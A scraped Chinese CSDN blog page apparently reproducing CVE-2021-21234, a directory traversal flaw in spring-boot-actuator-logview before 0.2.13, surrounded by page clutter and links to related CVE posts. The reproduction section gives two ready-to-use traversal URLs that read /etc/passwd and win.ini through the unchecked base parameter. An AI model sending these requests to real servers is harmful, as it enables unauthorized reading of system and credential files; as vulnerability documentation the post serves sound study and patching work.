Spring Boot 目录遍历（CVE-2021-21234）

最新推荐文章于 2024-07-20 19:04:01 发布

风中追风-fzzf

最新推荐文章于 2024-07-20 19:04:01 发布

阅读量273

点赞数 7

分类专栏： # 目录穿越/遍历文章标签： spring boot 后端 java

本文链接：https://blog.csdn.net/qq_23003811/article/details/140540520

版权

目录穿越/遍历专栏收录该内容

11 篇文章 0 订阅

订阅专栏

一、漏洞概述

Spring Boot 虽然检查了文件名参数以防止目录遍历攻击（因此filename=../somefile 将不起作用），但没有充分检查基本文件夹参数，因此filename=somefile&base=../ 可以访问日志记录目录之外的文件）。

二、影响范围

0.2.13之前

三、访问页面

四、漏洞复现

# Windows
/manage/log/view?filename=/windows/win.ini&base=../../../../../

# linux
/manage/log/view?filename=/etc/passwd&base=../../../../../

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

风中追风-fzzf

关注关注

7
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
Spring Boot 目录遍历（CVE-2021-21234）

Spring Boot 虽然检查了文件名参数以防止目录遍历攻击（因此。将不起作用），但没有充分检查基本文件夹参数，因此。可以访问日志记录目录之外的文件）。
复制链接

扫一扫

专栏目录

Spring Boot 目录遍历（CVE-2021-21234）

m0_65150886的博客

01-02

1107

spring-boot-actuator-logview 是一个简单的日志文件查看器作为Spring Boot执行器端点，在 0.2.13 版本之前存在着目录遍历漏洞，编号 CVE-2021-21234。漏洞本质是Spring Boot 执行器通过请求的参数来指定文件名和文件夹路径，经过组合拼接达到目录遍历，虽然源码中检查了文件名（filename）参数来防止目录遍历，但是没有检查文件夹（base）参数，造成了目录遍历。1.spring-boot-actuator-logview 升级到0.2.13版本。

Spring Boot 目录遍历（CVE-2021-21234）漏洞复现

weixin_42675091的博客

09-23

1086

Spring Boot 目录遍历（CVE-2021-21234）漏洞复现

参与评论您还未登录，请先登录后发表或查看评论

Spring Boot 目录遍历（CVE-2021_21234)

小小猪的博客

12-31

4419

Spring Boot 目录遍历（CVE-2021_21234) 漏洞简介： spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包“eu.hinsch:spring-boot-actuator-logview”。在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。该库的本质是通过 admin（spring boot 执行器）HTTP 端

CVE-2021-21234 spring-boot-actuator-logview目录遍历漏洞

mirocky的博客

10-26

488

源码中对filename进行了校验但并未对路径进行校验。送入repeater打入payload，复现成功。首先开vulhub的镜像。点击下载，原数据包如下。

漏洞复现之Spring Boot 目录遍历（CVE-2021_21234)

白帽子九一

04-25

4250

漏洞背景 spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包“eu.hinsch:spring-boot-actuator-logview”。在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。该库的本质是通过 admin（spring boot 执行器）HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹（相对于日志文件夹根）都可以通过

【目录遍历】Spring Boot 目录遍历（CVE-2021-21234）

wj33333的博客

11-17

292

spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。虽然检查了文件名参数以防止目录遍历攻击（因此`filename=../somefile` 将不起作用），但没有充分检查基本文件夹参数，因此`filename=somefile&base=../` 可以访问日志记录基目录之外的文件）。

Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)

weixin_74985952的博客

09-26

558

Spring Boot存在路径遍历漏洞CVE-2021-22118

日拱一卒无有尽，功不唐捐终入海

08-28

1131

背景：Spring Boot存在路径遍历漏洞。官方 issue也有对此的记录，感兴趣可以看下CVE-2021-22118 是一个在 Spring Boot 中发现的漏洞。该漏洞关系到 Spring Boot 的开发者工具（Devtools）中的远程更新（Remote Update）功能。在某些情况下，攻击者可能会利用这个功能进行目录遍历攻击，从而访问到系统中的敏感文件。远程更新功能被开启（spring.devtools.restart.enabled = true）。

Vulfocus-Spring 目录遍历（CVE-2020-5410 ）

qq_41819939的博客

07-29

496

SpringCloudConfig是美国威睿（VMware）公司的一套分布式系统的配置管理解决方案。SpringCloudConfig，2.2.3之前的2.2.x版本，2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求，这可能导致目录遍历攻击。SpringCloudConfig，2.2.3之前的2.2.x版本，2.1.9之前的2.1.x版本。...

CVE-2021-21972：CVE-2021-21972漏洞利用

03-04

CVE-2021-21972 CVE-2021-21972工作于VMware-VCSA-all-6.7.0-8217866，VMware-VIM-all-6.7.0-8217866 :heavy_check_mark: VMware-VCSA-all-6.5.0-16613358 :heavy_check_mark:对于vCenter6.7 U2 + vCenter 6.7U2 +在...

CVE-2021-21975:Nmap脚本检查漏洞CVE-2021-21975

04-06

CVE-2021-21975 Nmap脚本检查漏洞CVE-2021-21975 漏洞参考：博客例子 nmap -p443 --script cve-2021-21975.nse --script-args vulns.showall IP

laravel-CVE-2021-3129-EXP-main.zip 写shellexp

12-17

**Laravel 框架中的 CVE-2021-3129 漏洞详解及 EXP 利用** Laravel 是一个流行的开源 PHP Web 应用框架，以其优雅的语法和强大的功能深受开发者喜爱。然而，就像任何其他软件一样，Laravel 也存在安全漏洞。其中之...

CVE-2021-25735:利用CVE-2021-25735

05-14

CVE-2021-25735 利用CVE-2021-25735：Kubernetes验证准入Webhook绕过设置脆弱的环境让我们从运行脚本gencerts.sh开始以生成TLS证书和密钥。 bash gencerts.sh 要部署接纳控制器，您需要在本地构建Docker容器映像...

Spring Boot应用的配置文件（application.properties或application.yml）指定应用连接MySQL数据库

kjl536566的博客

07-19

343

是两个重要的连接参数，尤其是在使用较新版本的MySQL数据库（如MySQL 8.0及以上）和MySQL Connector/J JDBC驱动时。属性指定了数据库的URL，包括主机名、端口号、数据库名以及一些可选的连接参数。是MySQL Connector/J 8.x及以上版本中的JDBC驱动类名。在早期的版本中，如MySQL Connector/J 5.x，驱动类名通常是。参数用于指定服务器的时区，这有助于解决因时区差异而导致的日期时间问题。分别指定了连接数据库所需的用户名和密码。

小白十分钟速通 Spring Boot 基础

最新发布

oageux的博客

07-20

831

本文章包含了Spring Boot入门基础知识，还有@Controller知识等等的运用

Spring Boot项目中使用MyBatis Generator (MBG) 自动生成Mapper文件

zuihongyan518的博客

07-19

530

Spring Boot项目中使用MyBatis Generator (MBG) 自动生成Mapper文件可以很大程度上减少编码。本文着重介绍如何在实战中使用MGB自动生成Mapper文件

【Spring Boot 中的 `banner.txt` 和 `logback-spring.xml` 配置】

武帝为此的博客

07-19

580

banner.txt通过文本编辑器创建一个banner.txt文件，并将其放置在。

mkdocs 1.2.2 内置开发服务器允许目录遍历cve-2021-40978

05-14

mkdocs是一款流行的静态网站生成器，它可以将Markdown格式的文档转换成HTML网页。不幸的是，mkdocs的1.2.2版本存在一个漏洞（CVE-2021-40978），如果使用内置的开发服务器，攻击者可以利用目录遍历漏洞来读取服务器上任何文件。这个漏洞的根本原因在于mkdocs没有正确处理用户提供的HTTP请求参数，导致攻击者可以在请求参数中注入恶意内容。为了利用这个漏洞，攻击者需要发送一个带有特定参数的HTTP请求。参数中包含了“../”这个字符串，意味着攻击者可以访问服务器上根目录之外的文件。通过不断利用目录遍历漏洞，攻击者可以找到并读取服务器上的敏感文件，例如配置文件、密码文件等。这个漏洞对于那些使用mkdocs作为网站生成器并使用内置开发服务器的用户来说，非常严重，因为攻击者可以轻易地获取到他们的网站源码和其他敏感信息。为了避免这个漏洞，用户可以升级到mkdocs的最新版本，或者使用其他的静态网站生成器。此外，也可以使用专门的Web服务器来代替mkdocs内置的开发服务器。在配置Web服务器时，用户应该注意避免目录遍历漏洞和其他网络安全问题。通过正确地配置Web服务器，用户可以增强他们网站的安全性，并避免潜在的攻击。

Spring Boot 目录遍历 （CVE-2021-21234）

Spring Boot 目录遍历（CVE-2021-21234）